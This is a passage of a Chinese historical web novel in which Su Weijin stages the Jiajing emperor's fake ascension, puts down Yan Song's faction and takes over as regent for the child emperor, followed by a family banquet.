府门口,芸娘早已带着赵文萱、王雪茹、沈香君、陆清晏等在阶前。
见马车停下,芸娘快步上前:“夫君,一切可好?”
苏惟瑾下车,握住她的手:“一切顺利。”
“那就好……”芸娘松了口气,眼眶却红了。
她知道今天这场大典意味着什么——成功了,从此天高任鸟飞;失败了,就是万劫不复。
“孩子们呢?”苏惟瑾问。
“都在后院,安宁一直嚷着要爹。”芸娘抹了抹眼角。
“我去看看。”苏惟瑾拍拍她的手,又朝其他几位夫人点点头,快步走进府门。
他需要一点时间,从“靖海伯”这个角色里走出来,做回丈夫,做回父亲。
毕竟,戏演完了。
而真正的博弈,才刚刚开始。
飞升大典圆满落幕,嘉靖“成仙”,新皇即将登基。
但吊篮真的落在西山北麓了吗?嘉靖此刻是生是死?
严嵩回府后,立即召集心腹密议——他手中还有最后一张牌:那个在飞升大典上突然行刺的年轻官员,其实是他安插的双面棋子,此刻正关在诏狱里,随时可以“招供”出苏惟瑾“弑君”的“罪证”。
更棘手的是,西山那边传来消息:接仙台的黑色信号烟不是敌人所放,而是飞升卫队内讧,有人想抢夺“飞升秘术”自立门户。
现在西山深处,正有两股势力在火并。
而苏惟瑾刚进府门,胡三就追了上来,附耳急报:“公子,出事了——月港来急信,**那十二艘战船没去登州,而是……直奔天津卫来了!”
第408章 突发意外险,瑾智稳危局
太液池畔,金色球体已升到五十余丈高空。
百姓还在仰头跪拜,百官多数也已起身,但严嵩那双老眼,还死死盯着空中那个越来越小的金点。
不对。
总觉得哪里不对。
“父亲,”严世蕃凑过来,声音压得极低,“西山那边到现在没信儿,接仙台……”
“闭嘴。”严嵩打断他,忽然眼睛一眯,“你看那吊篮——”
就在此时,一阵侧风毫无预兆地刮来!
这风来得邪性,三月天本该是和风,可这一阵却像腊月里的刀子,呼啦一下从太液池水面卷起,直扑登仙台方向。
半空中,吊篮猛地一晃!
“啊——”台下百姓惊呼。
这一晃不要紧,吊篮侧面垂着的纱幔被风掀起一角,露出里头一小截……绳子?
不,不是绳子,是缆绳!婴儿手臂粗的麻绳,从吊篮底部垂下,在风中甩来甩去!
“有缆绳!”严世蕃眼尖,脱口而出,“是机关!父亲,是机关!”
他这一嗓子,前排官员全听见了。
成国公朱麟本来都快瘫了,一听这话,跟打了鸡血似的蹦起来:“什么?机关?在哪?”
“在那儿!”严世蕃指着空中那截晃荡的缆绳,“看见没有?从吊篮底下垂下来的!我就说嘛,哪有什么飞升,分明是机关吊上去的!”
他这话声音极大,连后排百姓都听见了。
人群顿时骚动起来。
“机关?”
“假的?”
“不可能吧……”
王老汉踮着脚使劲瞅:“哪儿呢?我怎么看不见?”
老刘头眯着眼:“好像……好像是有根绳子……”
台上,苏惟瑾眉头微皱。
这截缆绳是意外——原本设计是藏在吊篮底板夹层里的,等升到足够高度再自动脱落。
可刚才那阵侧风太猛,把固定扣吹松了,缆绳滑出来一截。
失误了。
超频大脑瞬间计算出后果:若被坐实是机关,之前所有布置全废,弑君罪名当场成立。
电光石火间,他做出了判断。
“靖海伯!”严嵩的声音响起,冷得像冰。
老狐狸终于动了。
他一步踏出队列,右手探入袖中,“锵”一声抽出一柄尺长短刃——刀身泛着蓝光,明显淬了毒。
刀刃直指台上的苏惟瑾:
“苏惟瑾!你好大的胆子!竟敢以机关妖术,伪装飞升,欺君罔上!”
这话石破天惊。
全场死寂。
百姓们全傻了,看看空中吊篮,又看看持刀的严嵩,不知道该信谁。
成国公朱麟见状,心一横,也抽出袖中短刀——他没淬毒,但也够吓人。
“严阁老说得对!此乃妖术!来人啊——”
他一声喊,身后立刻窜出七八个家丁,都是膀大腰圆的汉子,手里拎着棍棒,就要往台上冲。
“保护伯爷!”周大山一声暴喝。
“哗啦——”
登仙台两侧,突然涌出两列黑甲军士,正是虎贲营精锐。
一个个手持**,腰悬钢刀,瞬间将台子围得铁桶一般。
枪尖寒光闪闪,对准了冲上来的朱府家丁。
那些家丁哪见过这阵仗?顿时怂了,停在原地不敢动。
朱麟脸色发白,但箭在弦上不得不发,硬着头皮喊道:“苏惟瑾!你纵兵威胁朝廷命官,是要**吗?!”
台上,苏惟瑾看着这一幕,忽然笑了。
他笑得很轻,甚至有些嘲讽。
“严阁老,成国公,”他开口,声音清晰平稳,“你们说本官用机关欺君?”
“证据确凿!”严世蕃跳出来,指着空中那截缆绳,“那是什么?你敢说不是缆绳?!”
“是缆绳。”苏惟瑾点头。
这话一出,连周大山都愣了。
严嵩父子更是一怔——这就认了?
可苏惟瑾下一句话,让所有人目瞪口呆:
“可谁告诉你们,缆绳就是机关?”
他转过身,面向台下黑压压的人群,朗声道:“此缆绳非彼缆绳。陛下飞升,乃脱离凡胎,登临仙界。然仙凡有别,需有‘接引仙索’相连,以免陛下初登仙界,迷失方向。此索乃九天玄女所赐,待陛下抵达南天门,自会断开——严阁老,你连这都不知?”
他问得理直气壮,仿佛在说“今天天气真好”。
严嵩差点气笑:“胡扯!什么接引仙索,分明是你……”
“放肆!”苏惟瑾陡然厉喝。
这一声,用上了胸腔共鸣,震得台下人耳朵嗡嗡作响。
“严嵩!”他直呼其名,“陛下飞升,乃千古盛事。你身为内阁首辅,不思恭送,反而持刀惊驾,污蔑仙术,该当何罪?!”
“你——”严嵩气结。
“还有你,朱麟!”苏惟瑾转向成国公,“率家丁冲击大典,惊扰飞升,又是何居心?!”
朱麟被他一瞪,腿肚子转筋,话都说不利索:“我……我……”
就在这时,鹤岑动了。
老道一直在台上做法,这会儿见时机成熟,手中拂尘猛地一挥,宽大的道袍袖子朝空中一扬——
“哗啦啦——”
一群白鸽从袖中飞出!
不是几只,是几十只!
这些鸽子显然是经过特殊训练,出袖后并不乱飞,而是在空中盘旋一圈,然后齐刷刷朝着吊篮方向飞去。
它们绕着吊篮飞舞,翅膀扑棱,在阳光下白得耀眼。
更奇的是,这些鸽子飞着飞着,竟然排成了队形——先是盘旋成圈,然后一字排开,最后竟摆出个“人”字形,朝着吊篮方向俯冲,仿佛在朝拜!
“百鸟朝凤!”台下有见识的读书人惊呼,“这是祥瑞!百鸟朝凤啊!”
百姓们哪见过这个?顿时又炸了:
“神迹!真是神迹!”
“鸽子都来朝拜陛下!”
“刚才那缆绳……真是仙索?”
严嵩脸色铁青。
他知道这鸽子肯定是苏惟瑾搞的鬼,可怎么搞的?袖子怎么能藏几十只鸽子?鸽子又怎么会排队形?
想不通。
而就在百姓注意力被鸽子吸引时,苏惟瑾悄悄踩了踩台板下某个机关。
吊篮底部,那个鲸油燃烧器的喷口猛地扩大!
“轰——”
火焰暴涨!
原本金色的“祥云”瞬间扩大三倍,颜色也从金色转为赤金,在阳光下熊熊燃烧,真如火凤展翅。
吊篮在这股突如其来的上升气流推动下,猛地加速上升!
“嗖”的一下,就从五十余丈蹿到七八十丈!
那截“仙索”在高速上升中被拉直,然后“啪”一声,从中间断裂——其实是早就设计好的薄弱点,受力到一定程度就会断。
断掉的半截缆绳飘飘荡荡落下,掉进太液池里,溅起一小朵水花。
而从地面看去,那景象简直震撼:
吊篮在赤金火焰托举下越升越快,冲破干冰形成的七彩雾层,在蔚蓝天幕的背景下,化作一个耀眼夺目的金色光点。
阳光照射在球体金箔上,反射出万道金光,仿佛第二轮太阳。
鸽子群还在下方盘旋朝拜。
百姓们彻底疯了:
“飞升了!真飞升了!”
“陛下成仙了!”
“大明万世!大明万世啊!”
呼啦啦,刚刚还骚动的人群,又齐刷刷跪倒一片,磕头如捣蒜。
刚才那点怀疑,早被这“神迹”冲得烟消云散。
王老汉磕得额头都红了:“神仙!陛下是神仙!靖海伯也是神仙!”
老刘头一边磕一边念叨:“我就说嘛,陛下怎么能是假的……”
台上,严嵩握着短刃的手,在发抖。
不是怕,是气的。
他眼睁睁看着苏惟瑾在他眼皮底下,把一场危机生生扭转为“神迹”。
那鸽子,那火焰,那断掉的缆绳——每一个环节都像是早就准备好的,就等他跳出来发难。
中计了。
这混账早就料到他会发难,所以准备了这些“祥瑞”,就为了当众打他的脸!
“严阁老,”苏惟瑾的声音传来,带着淡淡的笑意,“现在,你还有什么话说?”
严嵩抬头,看着台上那个大红身影。
苏惟瑾负手而立,晨风吹起他的袍角,腰间尚方剑的剑穗轻轻摆动。
那张清秀的
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脸上,此刻挂着一种近乎嘲讽的平静。
仿佛在说:你跳啊,继续跳,我看你还能玩出什么花样。
“老夫……”严嵩深吸一口气,慢慢收起短刃,“无话可说。”
“那就好。”苏惟瑾点头,看向台下还在磕头的百姓,“大典继续。”
鹤岑会意,摇铃念咒,又开始装神弄鬼。
严嵩退后一步,回到队列中。
严世蕃还想说什么,被他一个眼神瞪了回去。
成国公朱麟更惨,家丁早被虎贲营押走了,他一个人孤零零站在那儿,手里的短刃收也不是,不收也不是,尴尬得要死。
最后还是苏惟瑾给他台阶下:“成国公,刀剑无眼,收起来吧。念你也是一片忠心,本官不予追究。”
朱麟如蒙大赦,赶紧把刀揣回袖子,讪讪退下。
一场惊天危机,就这么被化解了。
吊篮越升越高,渐渐变成一个小金点,最后没入云层,消失不见。
百姓们还跪在地上,久久不愿起身。
百官陆续散去,一个个面色复杂——今天这场大典,看得他们心惊肉跳,回去得好好琢磨琢磨。
严嵩父子最后离开。
临走前,严嵩回头看了一眼登仙台。
台上已经空了,苏惟瑾不知何时已经离去,只有鹤岑还在那儿收拾法器。
“父亲,”严世蕃咬牙切齿,“就这么算了?”
“算了?”严嵩冷笑,“好戏才刚开始。”
他袖中的手,握紧了那柄淬毒短刃。
“回府。那个刺客……该用了。”
……
西苑外,苏府马车里。
苏惟瑾闭目养神。
超频大脑还在复盘刚才的每一个细节:侧风风速约六级,吊篮晃动角度十五度,缆绳滑出长度约三尺……这些数据都要记下来,以后改进。
“公子,”鹤岑坐在对面,擦着额头的汗,“刚才好险。那阵风……”
“天意。”苏惟瑾睁开眼,“不过也好,严嵩这一闹,反而让‘飞升’更可信了。”
“可严嵩肯定不会罢休。”
“我知道。”苏惟瑾望向车窗外,“所以他手里那个刺客,该派上用场了。”
马车驶过长街,外头百姓还在兴奋议论飞升的事。
苏惟瑾听着那些声音,忽然问:“国师,你说这世上,真有神仙吗?”
鹤岑一愣,捻须道:“信则有,不信则无。”
“那百姓呢?”
“百姓……”鹤岑苦笑,“百姓需要神仙。”
苏惟瑾点头。
是啊,需要。
所以他就给了他们一个“神仙”。
马车在靖海伯府门前停下。
胡三早已候在门口,见苏惟瑾下车,快步上前:“公子,月港急信!”
苏惟瑾接过信,拆开扫了一眼,眉头微皱。
“**那十二艘船……改道天津卫了?”
“是。”胡三低声道,“按脚程,最多三天就能到。船上……可能有火炮。”
苏惟瑾将信纸揉成一团。
严嵩在朝中发难,**在海上逼宫。
这是要双线夹击啊。
“传令,”他沉声道,“让月港水师出动,拦截**。告诉苏惟奇,不必留情。”
“是!”
胡三匆匆离去。
苏惟瑾站在府门前,看着远处皇宫的方向。
云层深处,那个金色光点早已消失不见。
但真正的风暴,才刚刚开始。
飞升危机虽解,但严嵩手中还握着那个“刺客”棋子,随时可能抛出“弑君”指控。
**战船直扑天津卫,若让其逼近京城,苏惟瑾纵有千般手段也难应付。
更棘手的是,西山深处两股势力的火并越演越烈,其中一股竟打着“迎回真龙”的旗号——他们难道知道嘉靖没死?
而此刻紫禁城内,年仅七岁的太子朱载重,正被一群陌生太监“伺候”着试穿龙袍。
其中一个老太监弯腰替他系腰带时,在他耳边轻声道:“殿下莫怕,严阁老吩咐了,三日后登基大典,一切听老奴的……”
棋盘之上,杀机四伏。
苏惟瑾手中的棋子,还够用吗?
第409章 帝影没云深,瑾宣飞升成
金色光点没入云端,消失不见。
太液池畔,鸦雀无声。
百姓们还仰着头,眼巴巴望着那片云,仿佛下一刻嘉靖皇帝就会驾着祥云回来似的。
王老汉脖子都酸了,小声问旁边的老刘头:“这……这就完了?陛下真成仙了?”
“废话!”老刘头压低声音,“你没看见百鸟朝凤?没看见金色祥云?这可是我活了五十多年头一回见着真神仙!”
两人正嘀咕着,登仙台上有了动静。
苏惟瑾缓步走到台前。
大红麒麟补服在午后的阳光下格外耀眼,腰间那柄尚方剑的剑穗随风轻摆。
他扫视台下——黑压压的人群,一张张或激动、或茫然、或敬畏的脸。
超频大脑瞬间计算出最佳演说角度和声量控制。
“诸位——”
声音不高,却清晰传到每个人耳中,这是用了胸腔共鸣和借力风向的技巧。
“嘉靖陛下,已于方才辰时三刻,**,飞升仙界!”
他顿了顿,让这句话在空气中发酵。
“此乃千古未有之盛事!自三皇五帝至今,修道者众,得道者稀,而肉身飞升、位列仙班者,唯我大明嘉靖皇帝一人!此非人力,实乃天意!天佑大明——!”
最后四个字,他猛然提高音量,声如洪钟。
“天佑大明!”
“天佑大明!”
百姓们被点燃了,跟着山呼海啸。
许多老人激动得老泪纵横,在他们朴素的认知里,皇帝成仙了,那大明不就成仙朝了?往后日子还能差?
台上,鹤岑很“适时”地晃了晃身子。
“国师?”苏惟瑾“关切”地扶住他。
鹤岑摆摆手,脸色“苍白”,颤声道:“无妨……只是方才陛下飞升之时,贫道一缕元神随行护持,得见南天门景象,耗神过度……”
这话说得巧妙——声音不大不小,刚好让前排官员听见。
“国师见到了什么?”苏惟瑾顺势问。
“见到了……”鹤岑闭上眼,做回忆状,“陛下仙舆抵达南天门,有金童玉女列队相迎。凌霄殿上,玉帝亲封陛下为‘紫微仙尊’,掌人间帝王气运,位列仙班第三等……”
他每说一句,台下百姓的吸气声就重一分。
前排官员里,有人脸色变幻不定。
礼部右侍郎李春芳——这位老翰林刚才还跪得虔诚,此刻听着这些“神怪之说”,眉头又皱起来了。
可他不敢说。
方才严嵩持刀发难都被怼回去了,他现在跳出来,不是找死吗?
都察院左都御史何鳌偷眼瞄了瞄严嵩。
严嵩站在那里,面无表情,但袖子里的手攥得死紧。
他在等——等西山那边的消息,等诏狱里那个“棋子”发挥作用,等一个翻盘的机会。
可苏惟瑾没给他等的机会。
“既有陛下飞升前口谕,”苏惟瑾从袖中取出第二卷明黄绢帛,这次他亲自展开,朗声诵读,“朕今飞升,太子朱载重仁孝聪慧,可承大统,即皇帝位,改元道历。特命靖海伯、文渊阁大学士苏惟瑾,晋辅国公,领文渊阁首辅,总揽朝政,辅佐新君……”
念到这里,他故意顿了顿。
台下死寂。
辅国公?文渊阁首辅?总揽朝政?
这权力……比当年的张居正还大啊!
严嵩的脸终于绷不住了,他踏前一步:“苏惟瑾!此诏何来?陛下飞升前,老夫身为内阁首辅,为何不知?”
“严阁老不知的事,多了。”苏惟瑾淡淡看他一眼,继续念,“……内阁大学士严嵩,年老昏聩,今日大典持刀惊驾,罪不可赦,革去一切官职,交都察院、刑部、大理寺三司会审!”
“你——!”严嵩须发皆张。
“还有,”苏惟瑾根本不给他说话的机会,目光转向成国公朱麟,“成国公朱麟,率家丁冲击飞升大典,其心可诛,革去爵位,押入诏狱候审!”
朱麟腿一软,直接瘫坐在地。
“另,严世蕃、何鳌、赵文奎等十三人,结党营私,图谋不轨,一并拿下!”
话音落,周大山动了。
“虎贲营——拿人!”
“哗啦——”
登仙台两侧,早已待命的虎贲营甲士如潮水般涌出。
这次不是围堵,是直接拿人。
两人一组,直扑严嵩、严世蕃、朱麟等人。
“苏惟瑾!你敢!”严世蕃挣扎着,从怀里掏出个小竹筒——那是信号烟花,只要放出,诏狱里那个“刺客”就会“招供”。
可他刚掏出来,周大山已经到了跟前。
“撒手吧你!”周大山蒲扇般的大手一抓一拧,严世蕃惨叫一声,手腕“咔嚓”脱臼,竹筒掉在地上,被周大山一脚踩碎。
严嵩被两个甲士反剪双手,他却不挣扎,只是死死盯着苏惟瑾,忽然笑了:“苏惟瑾,你以为赢了?诏狱里那个人,你猜他会说什么?”
他说的是那个行刺的年轻官员——张振。
那是他布了几个月的暗棋,身份清白,背景干净,关键时候一口咬死受苏惟瑾指使“弑君”,够苏惟瑾喝一壶的。
苏惟瑾也笑了。
他缓步走下台阶,走到严嵩面前,用只有两人能听见的声音说:“严阁老说的是张振吧?七品御史,山东聊城人,去科考时你门生帮过他,所以他替你卖命。”
严嵩瞳孔一缩。
“可惜啊,”苏惟瑾摇摇头,“今天卯时,诏狱走水,张御史不幸……葬身火海了。尸首都烧焦了,认不出来,只能凭腰牌确定身份。”
“你——”严嵩一口老血涌上喉咙。
“还有,西山接仙台那边,”苏惟瑾继续轻声说,“你安排的那两百死士,昨晚吃错了东西,上吐下泻,现在都在茅房里蹲着呢。要不要派人去看看?”
严嵩脸色由红转白,由白转青,最后一口血喷出来,溅在苏惟瑾的官靴上。
苏惟瑾后退一步,掸了掸并不存在的灰尘,声音恢复洪亮:“带走!”
严嵩父子、成国公朱麟等人被押走。
严世蕃一路骂骂咧咧,被周大山用破布塞了嘴。
严嵩倒是安静了,只是眼神空洞,仿佛一瞬间老了二十岁。
百官噤若寒蝉。
谁也没想到,这场飞升大典,最后会变成这样一场雷霆万钧的**清洗。
更没想到,苏惟瑾动手这么快、这么狠——严党核心,一网打尽。
“诸位,”苏惟瑾重新看向百官,“陛下飞升,新君即将继位,正是万象更新之时。望诸位同心协力,辅佐新君,共保大明江山。”
说完,他不再多言,转身下台。
鹤岑跟在他身后,两人在虎贲营的护卫下,穿过自动分开的人群,朝西苑外走去。
身后,百姓的议论声炸开了:
“看见没?严阁老被抓了!”
“活该!惊扰陛下飞升,没当场**就算仁慈了!”
“辅国公……以后朝政就是他说了算了吧?”
“那当然!陛下飞升前亲口定的!”
……
西山,北麓山谷。
这里离飞升大典的现场足足三十里,偏僻得连猎户都不常来。
山谷深处,有个天然洞穴,洞口被藤蔓遮掩,不仔细看根本发现不了。
此刻,洞里点着几盏长明灯。
昏黄的灯光下,嘉靖皇帝躺在一张铺着锦缎的石床上,还没醒。
鹤岑那“安神丹”剂量下得足,够他睡上六个时辰。
苏惟瑾站在床前,看着这张熟悉又陌生的脸。
四十五岁,本该是年富力强的时候,可这位皇帝因为常年服丹,脸色灰暗,眼窝深陷,鬓角已经白了。
此刻他呼吸平稳,嘴角还挂着一丝笑——大概是梦到自己真成仙了吧。
“公子,”周大山走进来,低声道,“都安排好了。这洞穴深处已经改造成‘地宫’,四
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壁刻了仙界图景,按照您的吩咐,有南天门、凌霄殿、瑶池蟠桃园……工匠都是从南边找的,完事后都送出海了,这辈子回不来。”
苏惟瑾点点头:“饮食呢?”
“每天会有人从隐蔽气孔送入流食,掺了安神药材,保证他一直昏睡。”周大山顿了顿,“按您说的剂量,大概能维持……三个月。”
三个月后,嘉靖会在睡梦中死去。
没有痛苦,没有知觉,在“仙界图景”的环绕下,做一场永不醒来的仙梦。
这大概是一个修仙皇帝,最好的结局了。
“公子,”周大山犹豫了一下,“咱们这算不算……弑君?”
苏惟瑾沉默片刻,缓缓道:“大山,你知道嘉靖皇帝在位这些年,大明**多少人吗?”
周大山摇头。
“嘉靖二年,河南大旱,饿殍遍野,朝廷赈灾银被层层克扣,最后到百姓手里的不足三成,死者五万余。嘉靖八年,东南倭乱,沿海百姓**、被掳者不下十万。嘉靖十一年,黄河决口,淹了三府十八县,朝廷忙着修玄修庙,赈灾不力,又死数万……”
他每说一句,周大山脸色就白一分。
“而这二十年来,皇帝在西苑修道炼丹,花费白银八百余万两。这些钱,够赈灾十次,够养兵二十万,够让多少百姓活命?”苏惟瑾看着石床上昏睡的嘉靖,“他现在‘飞升’了,太子年幼,朝政才能回到正轨。边关的将士能拿到足饷,灾区的百姓能吃到赈粮,海上的倭寇有人去剿——这比什么都重要。”
周大山重重点头:“俺懂了。”
“去吧,”苏惟瑾摆摆手,“把洞口封好,按照‘仙家洞府’的样子布置。日后若有有心人查来,也只当这里是陛下飞升前闭关的秘所。”
“是。”
周大山退下后,苏惟瑾又在洞里站了一会儿。
长明灯的火苗跳动,在岩壁的“仙界图景”上投出晃动的影子。
那些雕刻的蟠桃、仙鹤、祥云,在昏黄光线下,竟真有几分缥缈之感。
苏惟瑾伸手,摸了摸岩壁上雕刻的“南天门”。
冰冷,粗糙。
哪有什么仙界。
有的只是人心,和人心之上的——权力。
他转身走出洞穴。
外面阳光刺眼,山谷里鸟语花香,仿佛刚才那个昏暗的地宫,只是一场梦。
胡三迎上来:“公子,京里传来消息,新皇登基大典定在三日后。徐阶徐阁老、费宏费阁老已经联名上表,拥护您总揽朝政。”
“严党余孽呢?”
“抓了三十七个,剩下的都在观望。”胡三咧嘴一笑,“有几个还想串联,被咱们的人‘提醒’了一下,现在都老实了。”
苏惟瑾点点头,朝山谷外走去。
走了几步,他忽然停下,回头看了一眼那个被藤蔓遮掩的洞口。
嘉靖皇帝会在那里“闭关”,直到生命终结。
而大明,将迎来一个新的时代。
一个属于他苏惟瑾的时代。
权力更迭看似顺利完成,但暗流远未平息。
西山深处,那两股火并的势力突然停战,合流一处,打出了“清君侧,迎真龙”的旗号——他们从何处得知嘉靖未死?
天津卫外海,**的十二艘战船已至,船上不仅有大炮,还载着三百名自称“嘉靖旧部”的死士,声称要“迎回陛下”。
紫禁城里,七岁的新皇朱载重半夜惊醒,哭着对乳母说:“朕梦见父皇了……父皇说他在一个很黑的地方,让朕去救他……”
而刚刚被封为辅国公、文渊阁首辅的苏惟瑾,在回府的马车上,突然感到一阵心悸——超频大脑预警:那个本该葬身诏狱火海的“刺客”张振,其家乡聊城,三日前有一户人家全员暴毙,死状诡异,墙上用血写着八个字:
“飞升是假,弑君者偿。”
棋局之上,似乎还有一只看不见的手,在悄然落子。
第410章:幼帝临朝坐,瑾受国公封
嘉靖十三年三月初六,紫禁城奉天殿。
天还没亮透,午门外已经黑压压站满了人。
自打严嵩父子、成国公朱麟那帮人被一锅端了之后,京里这些官员一个个都老实得很。
这会儿按品阶排着队,鸦雀无声,连咳嗽都捂着嘴。
“这阵仗……”站在武官队列里的周大山,今儿个换了身簇新的**袍,腰上挂着锦衣卫指挥使的牙牌,小声对旁边的苏惟虎嘀咕。
“比上次飞升大典还唬人。”
苏惟虎一身麒麟补服,压低声音。
“那是自然。”
“新皇登基,一辈子就这一回。”
两人正说着,钟鼓楼的钟声响了。
“咚——咚——咚——”
净鞭三响,仪仗开道。
奉天殿那两扇朱红大门缓缓打开,露出里头金碧辉煌的景象。
龙椅高高在上,左右立着金瓜武士,殿内檀香缭绕。
百官按顺序入殿。
文官在东,武官在西,按品阶从前往后排。
苏惟瑾今天没站文官队列——他独自一人,立在御阶之下最前方,离龙椅只有七步之遥。
一身绯色**袍,是昨日内廷连夜赶制的。
袍子用上好的云锦,绣着四爪**纹,张牙舞爪,栩栩如生。
腰间束着玉带,正中嵌着块巴掌大的和田玉,温润生光。
二十六岁的年纪,穿这一身,非但不显老气,反而衬得面如冠玉,气度沉凝。
不少官员偷偷打量他,眼神复杂。
羡慕的有,嫉妒的有,畏惧的也有。
谁都知道,从今天起,这位就是大明朝实际上的掌权人了。
“陛下驾到——”
司礼监太监尖细的声音响起。
殿外传来细碎的脚步声。
六岁的朱载重,穿着一身明黄色龙袍,被两个老太监一左一右搀着,迈过门槛。
那龙袍明显大了,下摆拖在地上,小孩走得磕磕绊绊,小脸绷得紧紧的,眼神里满是惶恐。
他被扶上龙椅。
龙椅太高,小孩坐上去,脚还够不着地,在半空晃荡。
他茫然地看了看台下黑压压的人群,又扭头看了看身旁的老太监,嘴巴一扁,眼看要哭。
“陛下,”苏惟瑾上前一步,微微躬身。
“请受百官朝拜。”
他声音温和,却带着不容置疑的力量。
朱载重看着他,似懂非懂地点点头。
“跪——”
司礼监太监拖长声音。
“吾皇万岁万岁万万岁——”
百官齐刷刷跪倒,山呼声震得殿梁上的灰尘簌簌落下。
小皇帝被这阵势吓了一跳,整个人缩在龙椅里。
苏惟瑾转过身,面向百官,朗声道。
“奉嘉靖先帝飞升前口谕,太子朱载重即皇帝位,改元道历。”
“臣苏惟瑾,受封文国公,领文渊阁首辅,总揽朝政,辅佐新君——”
他顿了顿,目光扫过台下。
“诸公可有异议?”
寂静。
死一般的寂静。
谁有异议?
严嵩那帮人的下场还摆在那儿呢。
诏狱里这几天塞满了人,听说严世蕃进去第一天就“失足”摔断了腿,成国公朱麟“突发恶疾”奄奄一息。
这节骨眼上跳出来,嫌命长?
“既无异议,”苏惟瑾从袖中取出一卷圣旨——其实是他自己拟的,但盖了玉玺就是真的。
“那便听封——”
“封鹤岑为护国大**,掌天下道门,秩同正一品。”
鹤岑出列,一身杏黄道袍,仙风道骨,稽首谢恩。
“封周大山为锦衣卫指挥使,兼京营提督,总领京畿防务。”
周大山大步出列,单膝跪地,声如洪钟。
“臣领旨!”
“封费宏为文渊阁大学士,孔闻韶为礼部尚书,入辅政大臣列。”
费宏、孔闻韶出列谢恩。
两人对视一眼,都从对方眼里看到了一丝复杂——他们是被拉上船的,现在船开了,想下也下不去了。
“其余文武,各司其职,待考核后再行定夺。”
这话说得温和,但潜台词谁都懂:老实干活的,位置还能坐坐;有小心思的,趁早自己滚蛋。
封赏完毕,该说正事了。
苏惟瑾走到御阶中央,面向百官,声音清晰。
“新朝初立,当有新气象。”
“本公受先帝托付,总揽朝政,今颁‘道历新政’,望诸公协力推行——”
他伸出三根手指。
“其一,轻徭薄赋,休养生息。”
“自今年起,全国田赋减两成,持续三年。”
“各布政使司需重新清丈田亩,严查隐田**。”
“凡有官吏借此盘剥百姓者,斩。”
台下起了一阵轻微的骚动。
减赋是好事,可清丈田亩……这是要动那些地主乡绅的蛋糕啊。
“其二,兴办官学,推广实用之学。”
“各省府州县,需设官学一所,教**算学、农桑、水利、匠作等实用之术。”
“科举增设‘实务科’,考校钱谷、刑名、河工等实际政务。”
“传统经义取士,比例减至六成。”
这下骚动更大了。
科举改制?这可比减赋更捅马蜂窝。
那些读了一辈子圣贤书的老学究,还指着八股文吃饭呢!
“其三,整饬军备,巩固边防。”
“重设月港、登州、广州三大水师,造新式战船,配火器。”
“九边军镇,汰弱留强,军饷由朝廷直拨,严禁克扣。”
“凡有吃空饷、冒领者,主官连坐。”
三条新政,条条都是重磅。
台下官员们脸色变幻,有人欣喜,有人忧虑,有人暗自盘算。
终于,有人忍不住了。
都察院一个老御史,叫王守礼,六十多了,眼看没几年好活,梗着脖子出列。
“文国公!老臣有一言!”
苏惟瑾看向他。
“王御史请讲。”
“这新政……未免太过激进!”王守礼颤巍巍道。
“减赋也就罢了,清丈田亩,必引地方骚乱!”
“科举改制,更是动摇国本!”
“八股取士乃祖宗成法,岂能说改就改?”
“至于军务……老臣以为,当以稳为主!”
他这一带头,几个老臣也跟着附和。
“王御史言之有理!”
“新政当循序渐进!”
“还请文国公三思!”
苏惟瑾静静听着,等他们说完,才缓缓开口。
“王御史今年高寿?”
王守礼一愣。
“六十有三。”
“哦,六十三了。”苏惟瑾点点头。
“那王御史可知,嘉靖十一年,陕西大旱,饿死百姓几何?”
“这……”王守礼语塞。
“四万七千余人。”苏惟瑾替他答了。
“嘉靖八年,东南倭乱,沿海百姓死伤几何?”
“……”
“不下十万。”苏惟瑾继续。
“嘉靖五年至今,九边军镇因军饷不足,逃兵几何?哗变几何?”
一连三问,问得王守礼哑口无言。
“祖宗成法若好,何来这许多灾祸?”苏惟瑾声音转冷。
“八股取士,取的都是只会背书的书呆子,有几个懂治国安邦?”
“地方田亩不清,豪强隐田**,朝廷收不上银子,拿什么养兵赈灾?”
“边军欠饷,士兵吃不饱穿不暖,谁肯卖命守边?”
他每说一句,就向前一步。
王守礼被他气势所慑,下意识后退。
“本公这三条新政,”苏惟瑾站定,目光如刀。
“第一条,让百姓吃饱饭;第二条,让官员办实事;第三条,让将士肯效死。”
“王御史觉得哪条不该办?”
“嗯?”
最后一个“嗯”字,带着森然寒意。
王守礼腿一软,差点跪下。
“还有谁有异议?”苏惟瑾环视全场。
没人说话。
那些刚才还附和的老臣,这会儿都缩着脖子装鹌鹑。
“既无异议,”苏惟瑾拂袖。
“那便照此推行。”
“各部今日起拟定细则,十日内呈报文渊阁。”
“散朝。”
“退朝——”司礼监太监赶紧喊。
百官如蒙大赦,纷纷退出奉天殿。
小皇帝朱载重从头到尾一脸懵懂,直到被太监搀下龙椅,才小声问。
“朕……朕可以回去了吗?”
“陛下请回乾清宫。”苏惟瑾躬身。
看着小皇帝被簇拥着离开的背影,苏惟瑾站在原地,久久未动。
权力顶峰。
这就是了。
可他心里,没有多少喜悦,只有沉甸甸的责任,和一丝……孤独。
……
靖海伯府——现在该叫文国公府了——门前张灯结彩。
苏惟瑾的马车刚到府门,就见阶前黑压压跪了一地人。
陈芸娘领着赵文萱、王雪茹、沈香君、陆清晏,五人皆着盛装,身后是苏婉、周大山夫妇,还有一群孩子——苏惟瑾的儿子苏承志六岁,女儿安宁三岁,周大山的女儿**安两岁,都在乳母怀里好奇张望。
“恭贺国公爷——”
女眷们齐声道。
苏惟瑾下车,快步上前,一把扶起陈芸娘。
“都是自家人,何必如此。”
陈芸娘抬头看他,眼圈微红。
“夫君今日……辛苦。”
“不辛苦。”苏惟瑾摇摇头,又扶起其他人。
赵文萱柔声道。
“朝堂之事,妾等不懂。”
“只
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愿夫君平安顺遂。”
王雪茹性子直。
“怕什么!如今夫君是一人之下万人之上,看谁还敢找麻烦!”
沈香君掩口轻笑。
“雪茹妹妹说得是。”
“只是这‘一人之下’……那位‘一人’才六岁,怕是连奏章都看不懂呢。”
这话说得大胆,众人都笑了。
陆清晏性子清冷,只淡淡说了句。
“恭喜。”
苏惟瑾看着她们,心中涌起一股暖意。
权力顶峰是冷的,可家里是暖的。
“进屋吧,”他笑道。
“今日家宴,都好好喝一杯。”
众人簇拥着他进府。
宴席摆在正厅,珍馐美味摆了一桌。
苏惟瑾坐主位,陈芸娘在左,赵文萱在右,其他三位夫人依次而坐。
孩子们另开一桌,由乳母照看着。
酒过三巡,气氛热络起来。
王雪茹端着酒杯站起来。
“夫君,我敬你一杯!”
“从今往后,咱们再也不用担惊受怕了!”
苏惟瑾举杯饮尽。
沈香君也起身。
“香君也敬国公爷。”
